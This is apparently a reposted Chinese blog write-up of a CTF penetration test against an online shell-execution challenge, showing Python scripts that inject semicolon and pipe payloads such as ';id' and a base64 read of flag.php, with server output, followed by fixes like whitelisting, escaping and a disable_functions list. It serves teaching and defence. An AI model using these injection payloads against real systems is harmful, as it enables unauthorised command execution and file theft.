文章总结: 本文记录了一次针对Web应用命令注入漏洞的渗透测试过程,发现目标系统因未过滤分号分隔符导致攻击者可执行任意系统命令。通过分号截断和Base64编码成功读取敏感文件,最终提出使用白名单机制、转义函数和权限控制等修复方案。 综合评分: 92 文章分类: 漏洞分析,WEB安全,渗透测试,实战经验,安全开发
BurpSuite+AI渗透测试(七):一个分号,拿下服务器
原创
yusaho yusaho
Web安全工具库
2026年6月11日 16:25 河南
在小说阅读器读本章
去阅读
一、概述
测试人员对目标 Web 应用进行黑盒安全评估。该应用为一个在线代码执行平台,允许用户提交 Shell 脚本并在服务器端运行。测试过程中发现服务器端存在严重的输入过滤缺陷,导致攻击者可在未授权状态下执行任意系统指令并读取敏感文件。
二、漏洞详情
2.1 漏洞类型
操作系统命令注入(OS Command Injection)
2.2 风险等级
高危(High)
2.3 漏洞位置
POST / HTTP/1.1
Host: 2f1bb9c7-ec5****ge.ctf.show
Content-Type: application/x-www-form-urlencoded
shell_code=<payload>
2.4 漏洞成因
服务器后端将用户输入直接拼接至系统调用中,伪代码逻辑如下:
// 危险写法(示意)
$cmd = "ls " . $_POST['shell_code'];
system($cmd);
后端对输入进行了部分过滤(限制空格使用),但未过滤命令分隔符 ;,导致攻击者可通过注入分隔符截断原有指令并追加任意命令。
三、测试过程
3.1 信息收集
访问目标页面,确认功能为 Shell 指令执行框。初步判断存在服务端执行用户输入的逻辑。提交基础指令 ls,服务器返回执行成功提示但无输出内容,确认为无回显命令执行场景。
3.2 过滤规则探测
测试常见分隔符,逐步确认哪些字符未被过滤:
import requests
target = "https://2f1bb9c7-ec50-*********6d.challenge.ctf.show/"
payloads = {
"管道符": "ls|id",
"分号": ";id",
"逻辑与": "&&id",
"后台执行": "&id",
}
for name, payload in payloads.items():
resp = requests.post(target, data={"shell_code": payload})
# 通过返回内容是否包含 uid= 判断是否执行成功
hit = "uid="in resp.text
print(f"[{'✓' if hit else '✗'}] {name:8s} payload={payload!r}")
探测结果:
[✓] 管道符 payload='ls|id'
[✓] 分号 payload=';id'
[✗] 逻辑与 payload='&&id'
[✗] 后台执行 payload='&id'
分号 ; 与管道符 | 均未被过滤,可用于截断并注入后续指令。
3.3 漏洞验证
使用分号注入 id 指令验证代码执行权限:
import requests
target = "https://2f1bb9c********llenge.ctf.show/"
payload = ";id"
resp = requests.post(target, data={"shell_code": payload})
print(resp.text)
服务器回显:
ls ;id execute success!
flag.php
index.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)
确认漏洞存在,当前进程权限为 www-data,同时获得目录文件列表,发现目标文件 flag.php。
3.4 敏感文件读取
直接读取时,PHP 标签导致内容被解析不可见:
payload = ";cat flag.php"
resp = requests.post(target, data={"shell_code": payload})
print(resp.text)
# 输出仅有文件名列表,PHP 代码内容被渲染为空
改用编码方案,将文件内容以 Base64 形式输出后再本地解码:
import requests
import base64
import re
target = "https://2f1b*******d.challenge.ctf.show/"
# 第一步:获取 Base64 编码内容
payload = ";b*se64 fl*g.php"
resp = requests.post(target, data={"shell_code": payload})
# 从响应中提取 Base64 字符串(去除页面其余内容)
b64 = re.search(r'([A-Za-z0-9+/=]{20,})', resp.text)
if b64:
decoded = base64.b64decode(b64.group(1)).decode()
print("[+] 文件内容:")
print(decoded)
执行输出:
[+] 文件内容:
<?php
$fl*g = "CTF{no_******mm*nds}";
敏感信息成功读取。
四、影响范围
- • 可在服务器上以
w*****a权限执行任意系统指令 - • 可读取 Web 目录下所有文件,包括含有敏感信息的配置文件
- • 若服务器存在其他提权路径,攻击者可进一步扩大控制范围
五、修复建议
1. 禁止直接将用户输入传入系统调用
避免使用 system()、exec()、shell_exec()、passthru() 等函数处理用户输入。若业务必须执行外部命令,应使用白名单机制严格限制可执行的指令范围。
2. 对用户输入进行严格过滤
过滤所有命令分隔符及特殊字符,包括但不限于:
; | & ` $ ( ) { } [ ] < > \n \r
PHP 环境下应使用 escapeshellarg() 对参数进行转义:
// 修复示例
$allowed = ['ls', 'pwd', 'date']; // 白名单
$input = trim($_POST['shell_code']);
if (!in_array($input, $allowed)) {
die("指令不在允许范围内");
}
// 即使使用白名单,传参时仍应转义
$safe = escapeshellcmd($input);
system($safe);
3. 以最小权限运行 Web 进程
确保 Web 服务进程(如 www-data)不具备访问敏感目录或执行高权限操作的能力,限制横向移动和提权空间。
4. 敏感文件访问控制
将含有密钥、凭据等敏感信息的文件移出 Web 根目录,并通过文件系统权限限制读取:
# 将敏感配置移至 Web 根目录之外
mv /var/www/html/config.php /etc/myapp/config.php
chmod 600 /etc/myapp/config.php
chown root:root /etc/myapp/config.php
5. 禁用危险函数
在 php.ini 中通过 disable_functions 禁用不必要的命令执行函数:
disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec
六、总结
| 项目 | 内容 | | — | — | | 漏洞类型 | OS 命令注入 | | 利用难度 | 低 | | 危害程度 | 高 | | 修复优先级 | 紧急 | | 根本原因 | 用户输入未过滤直接拼接至系统调用 | | 绕过方式 | 分号截断 + Base64 编码绕过渲染 |
本次测试发现目标系统存在高危命令注入漏洞,根本原因在于服务端对用户输入过度信任,过滤策略不完整。攻击者无需任何凭据即可在服务器上执行任意指令并读取敏感文件。建议立即停止在生产环境中暴露此类功能接口,并按上述方案完成修复。
| | |
| — | — |
| |
|
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Web安全工具库 yusaho yusaho《BurpSuite+AI渗透测试(七):一个分号,拿下服务器》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论